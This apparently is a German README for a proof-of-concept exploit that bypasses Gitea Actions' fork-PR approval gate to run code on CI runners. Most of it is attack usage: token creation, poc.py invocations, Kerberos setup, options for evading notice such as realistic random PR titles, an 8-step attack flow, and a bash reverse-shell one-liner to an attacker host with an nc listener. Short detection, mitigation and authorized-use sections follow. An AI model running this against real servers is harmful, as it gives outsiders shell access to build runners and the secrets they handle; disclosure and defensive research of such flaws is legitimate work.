
Ein Fehler in der Genehmigungs-Gate-Logik des Gitea Open Source Git Servers erlaubt es einem Pull Request, der aus einem permanenten Fork stammt, gemerged zu werden, ohne die konfigurierten Genehmigungs-Gates des Repositorys zu erfüllen.
Schweregrad: Hoch (CVSS 8.9) Betroffen: Gitea ≤ 1.26.2 Behoben in: Gitea 1.26.3 Advisory: GHSA-777r-4v59-6486
Gitea Actions erzwingt ein Genehmigungsgate für Workflow-Ausführungen, die durch Fork-Pull-Requests ausgelöst werden. Das Gate ist in ifNeedApproval() implementiert und soll verhindern, dass nicht vertrauenswürdige Mitwirkende über CI-Pipelines beliebigen Code ausführen.
Der Fehler besteht darin, dass ifNeedApproval() nur korrekt auf das pull_request-Ereignis angewendet wird. Jeder im on:-Block eines Workflows aufgeführte Ereignistyp erzeugt ein unabhängiges ActionRun-Objekt mit eigener Genehmigungsprüfung. Wenn ein Angreifer den on:-Block erweitert, um Ereignisse wie pull_request_review, issue_comment oder pull_request_review_comment aufzunehmen, werden diese Ausführungen ohne Durchlaufen des Genehmigungsgates ausgelöst.
Das Auslösen eines dieser ungeschützten Ereignisse – zum Beispiel das Posten eines PR-Review-Kommentars – startet den Workflow sofort unter dem Dienstkonto des Runners, ohne dass eine Genehmigung durch einen Maintainer erforderlich ist.
Die Funktion ifNeedApproval() prüft die Genehmigung anhand von (repo_id, trigger_user_id) für das pull_request-Ereignis, wendet diese Prüfung jedoch nicht konsistent auf alle auslösbaren Ereignistypen an.
Verwundbarer Pfad:
POST /repos/{owner}/{repo}/pulls/{index}/reviews
-> Gitea creates ActionRun with event=pull_request_review
-> ifNeedApproval() not called for this event type
-> Job dispatched to runner immediately
| Anforderung | Detail |
|---|---|
| Gitea-Konto | Jeder authentifizierte Benutzer mit Fork-Berechtigung |
| Ziel-Repository | Gitea Actions muss aktiviert sein |
| Runner | act_runner muss online und registriert sein |
| Netzwerk |
# Minimum
pip install requests
# For Kerberos/Negotiate auth
pip install requests requests-gssapi
Über den Browser: Settings -> Applications -> Generate Token
Erforderliche Scopes: Repository-Schreibzugriff + Issue-Schreibzugriff.
Über die API:
curl -s -X POST http://gitea.example.com:3000/api/v1/users/<username>/tokens \
-u "<username>:<password>" \
-H "Content-Type: application/json" \
-d '{"name":"pwn","scopes":["write:repository","write:issue"]}'
Ausführen:
python3 poc.py \
--url http://gitea.example.com:3000 \
--token <token> \
--target-owner <owner> \
--target-repo <repo> \
--lhost <attacker-ip> \
--lport 4444
Für Gitea-Instanzen, die nur Kerberos/SPNEGO akzeptieren (Active-Directory-Umgebungen mit erzwungenem SSPI). Muss von einem in die Domäne eingebundenen Host mit gültigem TGT ausgeführt werden.
kinit [email protected]
klist
python3 poc.py \
--url http://gitea.corp.local:3000 \
--negotiate \
--target-owner <owner> \
--target-repo <repo> \
--lhost <attacker-ip> \
--lport 4444
Wenn die DNS-Auflösung fehlschlägt, konfigurieren Sie /etc/krb5.conf:
[libdefaults]
default_realm = DOMAIN.LOCAL
dns_lookup_realm = false
dns_lookup_kdc = true
rdns = false
[realms]
DOMAIN.LOCAL = {
kdc = <DC_IP>
admin_server = <DC_IP>
}
[domain_realm]
.domain.local = DOMAIN.LOCAL
domain.local = DOMAIN.LOCAL
--url Gitea base URL (required)
--token API token
--negotiate Kerberos/SPNEGO auth (kinit first)
--cookie Session cookie string
--target-owner Target repo owner (required)
--target-repo Target repo name (required)
--lhost Attacker IP for reverse shell (required)
--lport Attacker port (required)
--runner-label Runner label to target (default: tries common labels)
--detect-label Auto-enumerate runner labels before exploiting
--fork-name Custom fork name (default: <repo>-<random>)
--workflow-name Custom workflow filename (default: ci-<random>.yml)
--pr-title Custom PR title (default: random realistic string)
--review-body Custom review comment (default: random)
--payload-type bash / python3 / nc / custom (default: bash)
--custom-payload Shell command (use with --payload-type custom)
--no-cleanup Leave PR open after exploit
--cleanup-delay Seconds before cleanup (default: 30)
nc -lvnp 4444
1. Authenticate to Gitea API
2. Fork target repo into attacker namespace
3. Enable Actions on fork
4. Inject malicious workflow with bypass events in on: block
5. Remove inherited workflows from fork (prevents runner interference)
6. Open PR: attacker/fork:main -> target/repo:main
7. POST /repos/target/repo/pulls/1/reviews {"event":"COMMENT","body":"..."}
-> pull_request_review event fires
-> ifNeedApproval() NOT called
-> ActionRun dispatched immediately
8. Runner executes payload -> reverse shell as runner service account
Standardmäßig ist act_runner single-worker. Wenn der Reverse-Shell-Schritt nicht sauber beendet wird, bleibt der Runner im Zustand „running“ und ignoriert neue Aufträge.
Um dies zu vermeiden, die Shell im Hintergrund ausführen:
- name: run
run: |
setsid bash -c 'bash -i >& /dev/tcp/LHOST/LPORT 0>&1' &
sleep 1
exit 0
Alternativ kann --custom-payload verwendet werden, um einen als Daemon gekapselten Einzeiler direkt zu übergeben.
ActionRun-Einträge mit event=pull_request_review oder event=issue_comment, die von Fork-PRs stammenpull_request_review-Trigger mit Shell-Ausführungsschritten enthalten| Aktion | Detail |
|---|---|
| Aktualisierung | Gitea 1.26.3+ behebt dieses Problem |
| Workaround | Gitea Actions in Repositorys mit nicht vertrauenswürdigen Mitwirkenden deaktivieren |
| Audit | Fork-PRs und zugehörige Workflow-Ausführungen auf unerwartete Ausführungen prüfen |
| Einschränken | Fork-Berechtigungen auf vertrauenswürdige Benutzer begrenzen |
Nur für autorisierte Sicherheitstests und Forschung. Nicht gegen Systeme ohne ausdrückliche schriftliche Genehmigung verwenden.
| Der Angreifer-Host muss vom Runner aus erreichbar sein |